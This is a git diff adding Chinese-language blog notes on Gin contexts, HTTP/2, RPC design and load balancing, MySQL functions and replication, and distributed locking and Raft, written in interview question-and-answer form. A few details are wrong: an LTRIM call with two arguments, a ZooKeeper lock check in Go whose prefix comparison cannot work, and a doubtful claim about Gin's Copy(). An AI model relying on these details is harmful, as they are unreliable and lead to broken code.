请求时,可能会在 gin.Context 中使用 context.Context,以便传递跨请求的数据或者在需要的时候取消某些操作。 + +具体来说,gin.Context 中实际上也有一个 context.Context,可以通过 gin.Context 的 Request.Context() 方法获取到。也可以通过 gin.Context 的 Copy() 方法获取到一个包含 gin.Context 所有数据的 context.Context,但这个 context.Context 并不能用来取消操作,所以通常更推荐使用 Request.Context()。 + +```go +package main + +import ( + "context" + "fmt" + "time" +) + +func main() { + ctx, cancel := context.WithCancel(context.Background()) + go func(context.Context) { + for { + select { + case <-ctx.Done(): + fmt.Println("Goroutine Exit") + return + default: + fmt.Println("Goroutine Run") + time.Sleep(1 * time.Second) + } + } + }(ctx) + time.Sleep(2 * time.Second) + cancel() + time.Sleep(2 * time.Second) + +} + +``` +#### JSON 验证 + +JSON 验证:Gin 可以方便地进行 JSON、XML 和 HTML 渲染。 + +#### 错误处理 + +错误处理:Gin 提供了一个方便的方式来集中处理错误。 + +#### 内置函数 +内置函数:Gin 提供了大量内置函数,可以处理各种类型的请求,包括 form、Multipart/Urlencoded、JSON 等。 +扩展性:Gin 是模块化设计,方便添加各种插件。 + + + +## 多路复用 + +**多路复用 (Multiplexing)** + +HTTP/2的多路复用允许多个请求和响应在同一个TCP连接上并行交换。在HTTP/1.x中,如果想并行发送多个请求,需要使用多个TCP连接。这可能会导致效率低下的TCP连接使用,尤其是在高延迟环境中。但在HTTP/2中,因为多个请求可以在同一个TCP连接上并行发送,所以它可以更有效地使用TCP连接,提高性能。 + +此外,多路复用还解决了HTTP/1.x中的"队头阻塞"问题。在HTTP/1.x中,由于同一个TCP连接上的请求必须按顺序响应,所以一个缓慢的请求可能会阻塞后面的请求,即使后面的请求已经准备好发送了。而在HTTP/2中,因为响应可以在同一个连接上并行发送,所以一个缓慢的请求不会阻塞其他请求。 + +**服务器推送 (Server Push)** + +HTTP/2的服务器推送允许服务器主动向客户端发送资源,而不需要客户端明确请求。这对于一些可以预知客户端需要的资源的场景非常有用。比如,当一个网页被请求时,服务器可以预见到客户端将需要CSS和JavaScript文件,所以服务器可以主动将这些文件推送到客户端,而不需要等待客户端单独请求这些文件。这可以减少往返延迟,提高页面加载速度。 + +需要注意的是,服务器推送虽然可以提高性能,但是也有可能浪费带宽,比如当客户端已经缓存了资源,或者并不需要推送的资源时。因此,HTTP/2允许客户端拒绝不需要的服务器推送。 + + +### RPC + +编写RPC(远程过程调用)的基本思路如下: + +1. **定义接口和协议**:在服务提供方和服务消费方之间定义一个公共的接口和通信协议。通信协议用来定义如何序列化和反序列化数据,以及如何发送和接收数据。 + +2. **创建服务端**:服务端需要实现定义的接口,并且启动一个监听特定端口的服务器。 + +3. **创建客户端**:客户端有一个和服务端相同的接口,但是客户端的接口实现只是一个代理,它会将调用转换为网络请求发送给服务端。 + +4. **序列化和反序列化**:客户端会将方法调用转化为一种可以在网络上传输的格式,这一过程叫做序列化。服务端收到请求后,会将其反序列化成原始的方法调用。 + +5. **网络通信**:客户端将序列化后的数据发送给服务端,服务端执行相关方法并将结果序列化后返回给客户端。 + +6. **错误处理**:在这个过程中可能会出现各种错误,比如网络错误,服务端错误等,需要有相应的错误处理机制。 + +#### 优化思路 + +在这个过程中,有很多方法可以进行优化: + +> **协议选择**:选择适合的协议,如HTTP/2或TCP,可以优化性能。HTTP/2支持多路复用和服务器推送,比HTTP/1有更好的性能。TCP允许更低级别的访问和控制,可以用于自定义协议。 + +HTTP/HTTPS: HTTP是最常见的RPC协议之一。由于其简洁性,HTTP在互联网服务中被广泛应用,尤其是基于REST风格的Web服务。 + +gRPC: 由Google开发的一种高性能、开源和通用的RPC框架,基于HTTP/2协议。gRPC采用Protocol Buffers作为接口定义语言,可以生成多种语言的客户端和服务端代码。 + +SOAP: Simple Object Access Protocol,是一种用于交换结构化信息的协议。SOAP可以使用多种协议,如HTTP、SMTP等。 + +XML-RPC/JSON-RPC: XML-RPC是一种使用HTTP作为传输协议,XML作为编码/解码机制的远程过程调用协议。JSON-RPC是一种类似的协议,但使用JSON进行数据编码。 + +Thrift: Apache Thrift是Facebook开发的一种高效的、支持多种编程语言的远程服务调用的框架。 + +Dubbo: 由阿里巴巴开源的高性能、轻量级的Java RPC框架。 + +AMQP/RabbitMQ: AMQP(高级消息队列协议)是一种应用层协议,主要用于面向消息的中间件。 + +MessagePack-RPC: MessagePack-RPC 是一个远程过程调用(RPC)协议。它是基于MessagePack序列化库构建的。 + +> **数据序列化**:选择一个高效的数据序列化/反序列化库,如Protocol Buffers或者FlatBuffers,可以减少数据传输的大小和序列化/反序列化的时间。 + +> **连接管理**:重用连接可以减少建立连接的开销。长连接可以减少TCP握手的时间。 + +> **负载均衡**:在多个服务实例之间进行负载均衡可以提高吞吐量和可用性。 + +轮询法:按时间顺序将请求分配到服务器上,如果服务器达到上限,则回到队列的开头。 +权重轮询法:与轮询法类似,但是每个服务器可以设置权重以调整其负载。 +最少连接数:将新连接发送到当前活动连接最少的服务器。 +哈希法:根据某种哈希函数(例如,源IP地址或会话ID)将请求发送到服务器。 + +在微服务架构中,可以使用服务网格(例如,Istio或Linkerd)来实现RPC调用的负载均衡。 + +如果某个服务实例发生故障,可以使用健康检查机制来识别并从负载均衡器中移除故障的实例。 + +在分布式系统中,可以使用如Nginx、HAProxy等负载均衡器,或者使用服务网格(例如,Istio或Linkerd)。 +Nginx、HAProxy和服务网格(如Istio或Linkerd)虽然都为我们提供负载均衡功能,但它们的工作原理和应用上下文有所不同。下面我们将分别解释它们的工作原理: + +Nginx/HAProxy: + +反向代理: 当Nginx和HAProxy作为负载均衡器使用时,它们充当反向代理,坐在客户端和后端服务之间。客户端的请求首先到达负载均衡器,然后由负载均衡器决定将请求转发到哪个后端服务实例。 + +负载均衡策略: 根据预先定义的策略,如轮询、最少连接、IP哈希等,负载均衡器选择一个后端实例。 + +健康检查: 负载均衡器周期性地检查后端服务实例的健康状态。如果某个实例无法提供服务,它将被从健康实例的列表中移除,直到恢复正常。 +会话保持: 在某些应用场景中,需要确保来自同一客户端的所有请求都被路由到同一后端服务实例。这通常通过使用cookie或IP哈希来实现。 + + +##### 服务网格(Istio/Linkerd): + +数据平面和控制平面: 服务网格通常分为数据平面和控制平面。数据平面,如Envoy代理,处理实际的网络交通,而控制平面负责管理和配置这些代理。 + +透明代理: 在服务网格中,每个服务实例旁边都有一个代理(通常称为sidecar代理)。所有的入站和出站流量都经过这个代理,从而实现负载均衡、流量管理、安全加密等功能。 + +> 动态服务发现: 与Nginx和HAProxy相比,服务网格的负载均衡更加动态。当新的服务实例启动或现有实例终止时,控制平面会动态地更新数据平面的配置。 + +复杂的路由规则: 服务网格允许定义更加复杂的路由规则,如基于请求头、延迟注入、故障注入等。 + +动态负载均衡: 除了常规的负载均衡策略,服务网格还可以根据实际的流量和延迟进行动态调整。 + + +负载均衡和服务发现密切相关,因为负载均衡器需要知道哪些服务实例是可用的。在实现RPC调用的负载均衡时,可以使用服务注册中心(如Eureka,Zookeeper等)来进行服务发现。 + +如果服务的负载情况发生变化,我们可以动态地调整负载均衡策略,例如,可以增加权重较低的服务器的权重,或者可以使用自适应负载均衡策略,根据服务实例的实时负载情况来分配请求。 + +对于长连接,可以使用会话保持(session persistence)或者称为粘性会话(sticky session)的技术来实现负载均衡。这种方式下,同一个客户端的请求会在一段时间内发送到同一台服务器。对于短连接,可以直接使用上面提到的负载均衡算法。 + +动态负载均衡是根据系统的实时负载情况动态调整负载均衡策略的一种技术。在RPC调用中,可以使用自适应负载均衡算法,例如,Least Response Time(最小响应时间)算法,该算法会选择响应时间最短的服务器进行请求分发。 + +服务注册:所有的服务实例都在启动时向服务发现系统注册,包括它们的IP地址和端口信息。 + +服务发现:服务网格的代理周期性地从服务发现系统获取最新的服务实例列表。 + +负载均衡决策:当服务需要进行RPC调用时,服务网格的代理会根据负载均衡策略从服务实例列表中选择一个实例,然后将请求转发到那个实例。常见的负载均衡算法包括轮询、随机选择、最少连接和基于权重的选择等。 + +健康检查:服务网格的代理还会定期进行健康检查,如果某个服务实例发生故障,代理会将其从服务实例列表中移除,不再将请求转发到那个实例。 + +动态调整:一些服务网格还可以根据服务实例的实时负载情况动态地调整负载均衡策略,例如,增加或减少某个服务实例的请求量,或者完全停止向某个负载过高的服务实例发送请求。 + + +> **异步处理**:异步处理可以避免阻塞,提高性能。 + +如果在RPC框架(如gRPC)中,这通常通过框架提供的异步API实现。一旦结果准备好,请求者就会得到通知。如果遇到问题,比如处理异步结果的回调函数需要在特定的线程上执行,可能需要使用特定的工具如ExecutorService来管理线程。 + +处理异步RPC调用的超时问题:可以在发起RPC调用时设置一个超时值。如果在指定的时间内未能得到响应,那么就可以认为这个调用超时。超时后,通常会取消这个调用,释放任何相关的资源。 + +在微服务架构中,如何使用异步RPC调用来解决服务间的通信问题:在微服务架构中,服务间的通信通常是通过异步消息传递实现的,例如使用消息队列。这样可以将服务解耦,提高系统的可伸缩性和健壮性。 + + +**服务发现**:自动服务发现可以使系统更加灵活,当服务实例增加或减少时,客户端可以自动调整。 + +> 使用服务发现,客户端无需硬编码依赖服务的位置信息。服务实例在启动时向服务注册中心注册自己的元数据信息,如主机名、监听端口、服务版本号以及其他服务相关的信息。客户端在进行RPC调用时,会基于特定的规则(如轮询、随机或基于负载的)从服务注册中心查询到需要的服务实例信息,然后再进行调用。 + + +> **超时和重试机制**:在网络请求中设置超时和重试机制,可以增强系统的健壮性。 + +在RPC请求中设置超时的重要性在于,它可以防止请求无限期的挂起,导致资源(如网络连接、内存等)无法释放,影响系统的性能和稳定性。超时值的确定一般基于网络延迟、服务器处理时间等因素,它应该允许足够的时间让服务器处理请求,同时防止客户端等待过久。 + +指数退避策略是一种用于控制重试间隔的策略,它会将每次重试之间的等待时间增加一倍(或乘以一个常数因子),以避免在短时间内对服务器造成过大压力。在RPC请求中常常使用这种策略,是因为它可以有效地应对临时的服务不可用或网络延迟问题。 + +在设计一个RPC重试策略时,我们会考虑以下因素:错误类型(是临时错误还是永久错误)、重试次数、重试间隔(是否使用指数退避)、服务的性质(是否幂等,是否能承受重复调用的后果)等。 + +对于可能改变服务器状态的RPC请求,如果没有考虑好,重试可能会导致不可预期的结果(如重复扣款)。但在某些情况下,我们可能需要进行重试(如网络错误)。为了安全地进行,我们需要保证这样的操作是幂等的,即重复执行也不会改变结果。 + +对于不同的错误类型,我们可能需要调整我们的重试策略。例如,对于临时网络错误,我们可能会选择重试,而对于某些服务器错误,我们可能会选择放弃并报告错误。 + +重试风暴是指在短时间内大量的重试请求涌向服务器,可能导致服务器过载。避免重试风暴的一种方法是使用重试预算,即限制在一定时间内的最大重试次数。 + +使用gRPC时,可以在服务定义中设置超时,使用gRPC的内置重试策略,或者在客户端代码中实现重试逻辑。 + + +**压缩**:对传输的数据进行压缩,可以减少网络传输的开销,提高性能。 + +#### 工作过程 + +RPC,即远程过程调用,它允许一个网络中的计算机程序调用另一个网络中的计算机程序的过程或函数,就像调用本地过程或函数一样。 + +RPC的工作流程大致如下:客户端调用客户端存根,客户端存根将参数打包进消息并通过网络发送给服务器。然后服务器存根接收消息并解包提取出参数,然后服务器存根调用本地程序,然后结果逆向传回给客户端。 + +RPC与RESTful API的主要区别在于他们的设计理念和使用场景。RPC关注的是操作和方法,它更适合于需要丰富操作的应用,而RESTful关注的是资源,它更适合于web应用。 + +同步RPC意味着调用者在等待RPC响应时会被阻塞,而异步RPC则不会阻塞调用者。我会根据具体的业务需求来选择使用同步还是异步RPC。 + +RPC在处理大规模数据时可能会遇到网络延迟、数据序列化/反序列化开销大、服务端压力大等问题。为了解决这些问题,我们可以采用如协议缓冲、负载均衡、服务端流控等技术。 + +在网络或服务端失败时,RPC通常采用的错误处理方式是重试、回退、超时等。 + +1. 我使用过的RPC框架包括gRPC和Apache Thrift。我觉得gRPC的性能很好,而且它支持多种语言,使得跨语言的服务通信变得简单。而Apache Thrift我觉得它的特点是简单和轻量。 + +2. 粘包问题是指在基于TCP/IP的网络通信中,发送方发送的如果是小数据包,那么网络可能会把多个小数据包粘在一起成为一个大的数据包发送。解决方案包括使用固定长度的数据包、使用分隔符、或者在数据包头部包含长度信息。 + +3. 设计高并发RPC框架需要考虑的因素包括:采用非阻塞IO模型,支持请求/响应的多路复用,设计高效的数据序列化/反序列化机制,采用分布式设计等。 + +4. 在微服务架构中,RPC调用使得服务之间的通信变得简单,但也可能引入服务依赖、网络延迟等问题。优点包括简化的API、高性能、强类型安全等;缺点包括紧耦合、网络不稳定、服务间调用链复杂等。 + +这些问题涵盖了很多领域,以下是我的答案: + +1. **服务发现和注册**:在RPC系统中,服务发现和注册可以通过注册中心来实现。服务提供者在启动时将自己的地址和服务信息注册到注册中心,服务消费者在调用服务前先从注册中心获取服务提供者的地址,然后直接调用。 + +2. **版本控制**:在定义服务接口时,可以在接口中包含版本信息。这样,即使接口更新,旧版本的接口仍然可以使用。当客户端调用服务时,需要指定调用的接口版本。 + +3. **故障排查**:首先,我会检查网络连接,查看是否有网络延迟或者网络包丢失的问题。然后,我会查看服务端的处理时间,查看是否有服务端处理缓慢的问题。如果以上两点都没有问题,我会考虑是否存在客户端或服务端资源瓶颈,比如CPU、内存、磁盘I/O等。 + +4. **网络分区**:在网络分区发生时,我们可以使用熔断器模式防止系统崩溃,当服务调用失败率超过某个阈值时,熔断器会断开服务调用,快速返回错误。另外,也可以使用超时和重试策略来增加系统的可用性。 + +5. **数据一致性**:在RPC调用中,为了保证数据一致性,我会使用分布式事务。例如,可以使用两阶段提交(2PC)或者三阶段提交(3PC)等协议来保证数据一致性。 + +6. **RPC vs 消息队列**:RPC调用是同步的,可以立即得到结果,适合用在时延要求较高的场景。而消息队列是异步的,可以缓解服务间的压力,提高系统的可扩展性和解耦性,适合用在吞吐量大,时延要求不高的场景。 + +7. **高可用的RPC系统**:高可用的RPC系统需要有负载均衡,服务降级,服务熔断,超时和重试,以及服务监控等机制。 + +8. **事务管理**:在分布式RPC调用中,我会使用分布式事务协议来进行事务管理,例如两阶段提交协议,三阶段提交协议,或者柔性事务协议如TCC,SAGA等。 + +9. **优化RPC系统**:当服务提供方处理能力达到上限时,我会通过扩容服务提供方(例如,增加服务器,调整服务实例的数量)来增加处理能力。同时,我会使用服务降级和服务熔断来防止系统崩溃。 + +10. **安全性和权限控制**:在RPC系统中,我会使用安全的通信协议,如TLS,来保证数据的安全传输。同时,我会在服务端实现权限控制,只允许有权限的客户端调用服务。我也会使用API令牌,OAuth等方式来进行身份认证和授权。 + diff --git a/_posts/2023-10-7-test-markdown.md b/_posts/2023-10-7-test-markdown.md new file mode 100644 index 000000000000..8269be8359d4 --- /dev/null +++ b/_posts/2023-10-7-test-markdown.md @@ -0,0 +1,1035 @@ +--- +layout: post +title: Mysql SQL/ Mysql 主从 +subtitle: +tags: [gin] +--- + + +## SQL + +### 基础理解: + +> 描述一下增加的每一个SQL函数的功能和用途。对于每个函数,请给出一个使用场景和相应的SQL示例。 + +RPAD: + +功能:在字符串的右边填充指定的字符,直到达到指定的长度。 +用途:格式化输出,使字符串达到固定长度。 +示例:将'abc'填充到长度5,使用'z'作为填充字符。 +```sql +SELECT RPAD('abc', 5, 'z'); +-- 输出: 'abczz' +``` + +RTRIM : +功能:从字符串的右边移除指定的字符。 +用途:清理字符串数据。 +示例:移除'abc '字符串右侧的空格。 +```sql +SELECT RTRIM('abc '); +-- 输出: 'abc' +``` + +LTRIM: +功能:从字符串的左边移除指定的字符。 +用途:清理字符串数据。 +示例:移除' abc'字符串左侧的空格。 +```sql +SELECT LTRIM(' abc'); +-- 输出: 'abc' +``` + +STRCMP: +功能:比较两个字符串。 +用途:字符串比较。 +示例:比较字符串'abc'和'def'。 +```sql +SELECT STRCMP('abc', 'def'); +-- 输出: -1 (因为 'abc' < 'def') +``` + +CHAR_LENGTH: +功能:返回字符串的字符数。 +用途:获取字符串长度。 +示例:获取'hello'的长度。 + +```sql +SELECT CHAR_LENGTH('hello'); +-- 输出: 5 +``` +IF: + +功能:如果表达式为真,返回一个值,否则返回另一个值。 +用途:条件选择。 +示例:基于条件返回值。 +```sql +SELECT IF(1=1, 'true', 'false'); +-- 输出: 'true' +``` + +IFNULL: +功能:如果表达式为NULL,返回指定的值。 +用途:处理NULL值。 +示例:将NULL值替换为'default'。 + +```sql +SELECT IFNULL(NULL, 'default'); +-- 输出: 'default' +``` +CAST (提到的CAST_NCHAR可能是MySQL中的CAST): + +功能:转换一个值为指定的数据类型。 +用途:数据类型转换。 +示例:将数字123转换为字符串。 +```sql +SELECT CAST(123 AS CHAR); +-- 输出: '123' +``` + +MOD: + +功能:返回除法的余数。 +用途:计算余数。 +示例:计算7除以3的余数。 +```sql +SELECT MOD(7, 3); +-- 输出: 1 +``` + +### 设计和实现: + +> 是如何决定增加这些特定的SQL函数的?它们解决了什么具体的问题或需求? + +性能优化:有时,通过Arana内置函数来处理某些操作比在应用级别进行处理更为高效。 + +> 请解释增加这些函数在数据库中间件中的实现细节。例如,对于CAST_NCHAR函数,它是如何进行类型转换的?有没有考虑到性能影响?这些函数在性能上有何表现? + +在中间件中,CAST_NCHAR函数会首先解析输入值的类型。使用内部库来将输入值转换为NCHAR类型(或其他特定字符集的字符串类型)。 +该函数可能需要处理各种边界情况,例如非法输入值、超出范围的值等。 +最后,函数会返回转换后的值。 + +当增加新的函数时,需要对其进行性能测试,确保它不会成为瓶颈。 +例如,字符串操作函数(如RPAD或LTRIM)在处理大量数据时可能会有性能影响。但由于这些操作通常是内存中进行的,它们的性能通常相对较好。 +CAST_NCHAR等类型转换函数可能会有更多的性能开销,特别是当涉及到大数据集时。但在很多情况下,由于转换操作通常是必要的,因此这种性能开销是可以接受的。 + +### 测试和验证: + +是如何测试这些新增函数的功能和性能的? +是否有遇到任何边缘情况或者异常情况?如何处理的? + + +### 应用和兼容性: + +> 这些新增的SQL函数是否与其他数据库系统(如MySQL, Oracle等)的同名函数保持一致? + +是的,为了保证开发者易于上手和一致性,我尽量让这些函数的行为与流行的数据库系统(如MySQL、Oracle等)中的同名函数保持一致。当然,我也查阅了各个数据库的官方文档来确认具体的行为和特征。 + +> 如何确保这些新增函数不会影响到现有的功能或引入新的问题? +在添加新功能之前,我首先为现有的功能编写了详细的单元测试和集成测试。之后,为新的SQL函数添加了对应的测试用例。确保新的更改不会破坏现有的功能。 +同时,进行代码审查,让团队成员评估并提供反馈。 + +### 知识和扩展: + +> 描述IF和IFNULL的区别。 + +IF是一个条件函数,它接受三个参数:一个条件和两个结果值。如果条件为真,则返回第二个参数,否则返回第三个参数。示例:IF(1=1, 'true', 'false')返回true。 +IFNULL若接受两个参数,它会检查第一个参数是否为NULL,如果是,则返回第二个参数,否则返回第一个参数。 示例:IFNULL(NULL, 'default')返回default。 + +> 如果让优化STRCMP函数,会有什么思路? + +> 如何确保CAST_NCHAR函数在不同的字符集之间都可以正常工作? + +针对不同的字符集进行详细的测试。 +使用已有的字符集转换库,如ICU,确保转换的准确性。 +提供一个配置选项,让用户选择源和目标字符集。 + + +对于涉及浮点数的操作,会使用一定的精度或者epsilon来处理计算中的微小工件。提供一个配置项让用户选择计算精度。 + +### 实际应用场景: + +描述一个实际应用中使用MOD函数来解决问题的例子。 +RPAD和LTRIM在实际数据库设计中有哪些常见的用途? + +### 深入问题: + +如果的数据库中间件是分布式的,如何确保这些函数在所有节点上都有一致的表现? +如何处理可能的浮点误差,例如在MOD函数中? + + + +### 实际应用 + +> MYSQL MOD函数实际应用例子: + +场景:假设一个电商网站需要对用户进行分类处理,使得每个用户根据其用户ID可以被均匀地分配到10个不同的处理服务器上。 + +解决方案:可以使用MOD函数配合用户ID来决定每个用户应该去到哪个服务器。 + +```sql +SELECT user_id, MOD(user_id, 10) as server_allocation +FROM users; +``` +在这个例子中,MOD函数将每个user_id除以10,然后返回余数。因此,所有user_id的余数为0的用户将被分配到第一个服务器,余数为1的用户将被分配到第二个服务器,以此类推,直到余数为9的用户被分配到第十个服务器。 + +> RPAD和LTRIM的实际应用: + +RPAD(Right Padding): + +文本对齐:在生成报告或输出时,为了确保数据列的美观,您可能需要确保每个字符串都有相同的长度。例如,当在一个固定宽度的列中显示名称时,可以使用RPAD来确保每个名称都有相同的长度。 + +```sql +SELECT RPAD(customer_name, 20) as FormattedName +FROM customers; +``` +生成固定长度的记录:在某些文件格式或数据交换格式中,每条记录的长度都需要是固定的。使用RPAD可以确保每条记录都被填充到所需的长度。 + +> LTRIM(Left Trim): + +清理数据:在导入外部数据或处理用户输入时,有时候数据的左侧会有不需要的空格。LTRIM可以用来去除这些不需要的前导空格。 + +```sql +SELECT LTRIM(product_name) as CleanedProductName +FROM products; +``` +特定格式的数据处理:在处理特定格式的字符串数据时,比如编码或序列号,如果它们有前导的特定字符(如'0'),LTRIM可以用来去除这些字符。 + +```sql +SELECT LTRIM(credit_card_number, '0') as CleanedCardNumber +FROM transactions; +``` +这两个函数在数据库设计中常被用于数据清洗、格式化输出和确保数据的一致性。 + + +### 官方例子 + +https://dev.mysql.com/doc/refman/8.0/en/flow-control-functions.html#function_ifnull + + + + +RPAD: + +使用:将字符串填充到指定的长度,超出长度的部分将被截断。 +```sql +SELECT RPAD('hello', 10, '!'); +输出:'hello!!!!!' +``` +实现思路:检查输入字符串的长度,与期望的长度比较,然后重复添加填充字符直到达到期望的长度。 + + +RTRIM: + +使用:去除字符串右侧的空格。 +```sql +SELECT RTRIM('hello '); +输出:'hello' +``` +实现思路:从字符串的末尾开始,删除每个空格字符,直到遇到非空格字符为止。 + +LTRIM: + +使用:去除字符串左侧的空格。 +```sql +SELECT LTRIM(' hello'); +输出:'hello' +``` +实现思路:从字符串的开头开始,删除每个空格字符,直到遇到非空格字符为止。 + +STRCMP: + +使用:比较两个字符串,如果它们相同则返回0,如果第一个参数小于第二个参数则返回-1,否则返回1。 +```sql +SELECT STRCMP('hello', 'world'); +输出:-1 +``` +实现思路:按字典顺序逐字符比较两个字符串。 + +CHAR_LENGTH: + +使用:返回字符串的长度。 + +```sql +SELECT CHAR_LENGTH('hello'); +输出:5 +实现思路:遍历字符串并计数。 +``` + +IF: + +使用:根据条件返回两个值之一。 +```sql +SELECT IF(1 > 2, 'True', 'False'); +输出:'False' +``` +实现思路:评估第一个参数(条件),如果为真,则返回第二个参数的值,否则返回第三个参数的值。 + +IFNULL: + +使用:检查第一个参数是否为NULL,如果是则返回第二个参数的值,否则返回第一个参数的值。 +```sql +SELECT IFNULL(NULL, 'default'); +输出:'default' +实现思路:检查第一个参数是否为NULL,然后相应地返回值。 +``` +CAST_NCHAR 假设它与MySQL中的CAST类似: + +使用:将一个值转换为一个特定的数据类型。 +```sql +SELECT CAST('12345' AS UNSIGNED); +输出:12345 +``` +实现思路:根据目标数据类型解析输入值。 + +MOD: +使用:返回除法的余数。 +```sql +SELECT MOD(29, 9); +输出:2 +实现思路:执行整数除法并返回余数。 +``` + + +## 主从 + + +### 基础概念: + +> 请解释MySQL主从复制的基本工作原理。 + +MySQL主从复制原理:主从复制允许数据从一个MySQL数据库服务器(称为主服务器)复制到一个或多个MySQL数据库服务器(称为从服务器)。主服务器写入变更到二进制日志(Binary Log),这些日志记录了数据更改。从服务器复制这些日志文件并执行这些日志中的事件来重做数据更改。 + +> 描述主从复制中的Binary Log和Relay Log + +Binary Log和Relay Log:Binary Log是主服务器上的日志,记录了数据库上所有写操作的日志。从服务器首先将这些日志复制到Relay Log中,然后执行这些日志来更新它自己的数据。Relay Log就像一个缓冲区,保留从主服务器复制来的日志,直到从服务器已经应用了它们。 + +> 主从复制有哪几种模式?如同步复制和异步复制的区别是什么?以及如何配置和设置: + +复制模式:主从复制主要有异步复制和半同步复制。 + +异步复制:主服务器执行事务并将事件记录到Binary Log,而不等待任何从服务器确认已经接收和存储了日志事件。 + +半同步复制:主服务器只有在至少有一个从服务器已经接收到并确认了写入其Relay Log的日志事件后,才会提交事务。 + + +### 配置和设置: + +> 描述设置主从复制的步骤 + +配置my.cnf文件:在主服务器中,需要启用log-bin选项来启动Binary Log和设置server-id。在从服务器中,需要设置relay-log,server-id和主服务器的连接详情,如master-host, master-user等。 + +Binary Log文件被删除:最安全的方法是从主服务器创建一个新的数据快照,然后在从服务器上重新启动复制过程。 + +### 故障和恢复: + +> 如果从服务器落后主服务器很多,怎样进行同步? + +可以暂停主服务器上的写入,等待从服务器赶上,或者重新从主服务器创建一个数据快照并在从服务器上重置复制。 + +> 当主服务器宕机时,如何提升一个从服务器为新的主服务器? + +首先,选择一个最新的从服务器(最小的复制延迟)。然后,将这个从服务器提升为新的主服务器,并重新配置其他从服务器来复制这个新的主服务器。 + +> 如何检测和处理复制延迟? +> +检测和处理复制延迟:可以使用SHOW SLAVE STATUS命令来查看复制的状态和延迟。如果存在延迟,需要诊断网络问题,主服务器的写入负载,或从服务器的读取/写入负载 + + +### 优化和性能: + +> 如何优化主从复制的性能? + +可以通过多线程复制、日志压缩、使用更快的硬件和网络来优化复制性能。 + + +> 当有多个从服务器时,如何分发读取请求以均衡负载? + +可以使用负载均衡器或代理来将读请求分发到多个从服务器。 + +### 安全性: + +> 如何保证在主从复制中的数据传输的安全性? + +数据传输安全:可以使用SSL加密复制流量。 + +> 如何设置主从复制中的用户权限? + +用户权限:为复制设置一个专用的MySQL用户,并给予该用户只读取Binary Log的权限。 + + +### 高级主题: + +> 描述半同步复制和GTID复制。 + +GTID(全局事务ID)是MySQL的一种方式,为每个事务提供了一个唯一的ID,这简化了复制和故障恢复的过程。 + + +> 如何在主从复制中实现数据的过滤和转换? + +数据过滤和转换:可以使用--replicate-do-db, --replicate-ignore-db等选项来过滤复制的数据。 + +> 如何看待多源复制? + +多源复制允许一个从服务器从多个主服务器复制数据。这在复杂的复制拓扑中非常有用。 + + + +### 实践经验 + +> 描述一个曾经遇到的关于主从复制的问题及其解决方法。 + +曾遇到过由于网络中断导致的复制延迟问题。解决方法是优化网络并为复制设置更大的超时时间。 + +> 如何监控复制的健康状态和性能? + +可以使用SHOW SLAVE STATUS命令、Performance Schema或第三方工具如Percona Monitoring and Management (PMM)。 + +### 扩展性和其他相关技术: + + +与主从复制相比,您如何看待MySQL Group Replication和Galera Cluster? +如果要构建一个高可用的MySQL集群,您会如何设计? + + + +## 分布式系统基础 + + +### 基本的分布式原理,如CAP定理、分布式锁、一致性算法如Paxos、Raft。 + +##### CAP定理: + +定义:CAP定理是分布式计算系统中的一个基本原则,它表示任何分布式数据存储系统最多只能同时满足以下三个特性中的两个:一致性(Consistency)、可用性(Availability)和分区容错性(Partition tolerance)。 +例子:在分布式数据库中,如果网络分区发生,系统必须在保持数据一致性和保持高可用性之间做出选择。 +Cassandra:牺牲一致性以获得可用性和分区容错性。 +HBase:牺牲可用性以获得一致性和分区容错性。 + +##### 分布式锁: + +定义:分布式锁是一种在分布式环境中确保资源单一访问的机制。由于在分布式系统中,多个节点可能同时尝试访问同一资源,所以需要一种机制来确保在同一时刻只有一个节点能够访问。 + +例子:使用Zookeeper或Redis来实现分布式锁。例如,应用程序可以使用Zookeeper的临时顺序节点来竞争获取锁。 + +- 当一个客户端尝试获得锁时,它在一个指定的ZNode下创建一个临时顺序节点。 +- 客户端获取ZNode下所有子节点的列表,并检查自己创建的节点是否是序列号最小的节点。 +- 如果它创建的是最小的节点,那么它就成功获取了锁。如果不是,它则监听前一个(序列号比它小的)节点的删除事件。 +- 当前一个节点被删除(即释放锁)时,客户端再次尝试获取锁。 + +```go +package main + +import ( + "fmt" + "log" + "strings" + + "github.com/go-zookeeper/zk" +) + +const LockNode = "/my-lock-" + +func tryAcquireLock(conn *zk.Conn) (string, bool) { + // 创建临时顺序节点 + path, err := conn.CreateProtectedEphemeralSequential(LockNode, []byte{}, zk.WorldACL(zk.PermAll)) + if err != nil { + log.Fatalf("Failed to create lock node: %v", err) + } + + // 获取所有子节点 + children, _, err := conn.Children("/") + if err != nil { + log.Fatalf("Failed to get children for root node: %v", err) + } + + // 判断当前节点是否是最小节点 + minNode := path + for _, child := range children { + if strings.HasPrefix(child, LockNode) && child < minNode { + minNode = child + } + } + + return path, minNode == path +} + +func main() { + conn, _, err := zk.Connect([]string{"127.0.0.1:2181"}, zk.DefaultSessionTimeout) + if err != nil { + log.Fatalf("Failed to connect to ZooKeeper: %v", err) + } + defer conn.Close() + + path, acquired := tryAcquireLock(conn) + if acquired { + fmt.Println("Lock acquired!") + // Do the critical work + conn.Delete(path, -1) // Release the lock + } else { + fmt.Println("Failed to acquire lock, waiting...") + // Watch for the lock release or other event + } +} + +``` + +##### 一致性算法: + +Paxos: +定义:Paxos是一个解决分布式系统中的一致性问题的算法。它旨在确保分布式系统中的多数节点达成一致。 +例子:Google的Chubby锁服务使用Paxos来确保一致性。 + +Raft: +定义:Raft是一个为分布式系统设计的一致性算法,它的目标是提供与Paxos相同的功能,但更加简单和易于理解。 +例子:etcd和Consul等系统使用Raft来保持多节点间的一致性。 + + +> 请描述Raft算法的基本工作原理。 + +Raft是一个为分布式系统提供强一致性的算法。其主要包括领导者选举、日志复制和安全性三个子问题。在任何时候,一个Raft集群中的所有节点都处于三种状态之一:Leader、Follower或Candidate。 + + +> Raft算法如何解决分布式系统的一致性问题? + +Raft通过领导者选举来确保在任何时候只有一个领导者,这避免了冲突写入。所有的写操作首先发送给领导者,领导者将其写入日志并复制到其他的Follower上。 + + +> 选举过程: + +> 在Raft中,当一个节点想要成为领导者时,它如何启动选举过程? + +当Follower在选举超时时间内没有接收到领导者的心跳,它就会变成Candidate并启动新的选举。它会增加当前的任期并为自己投票,然后向其他节点发送请求投票的消息。 + +> 如果在选举过程中收到了另一个节点的心跳,那么该如何处理? + +如果在选举过程中,节点收到来自新的领导者的心跳,那么它会立即停止选举并回到Follower状态。 + + +> 如果有多个候选者同时开始选举,Raft如何解决选举冲突? + 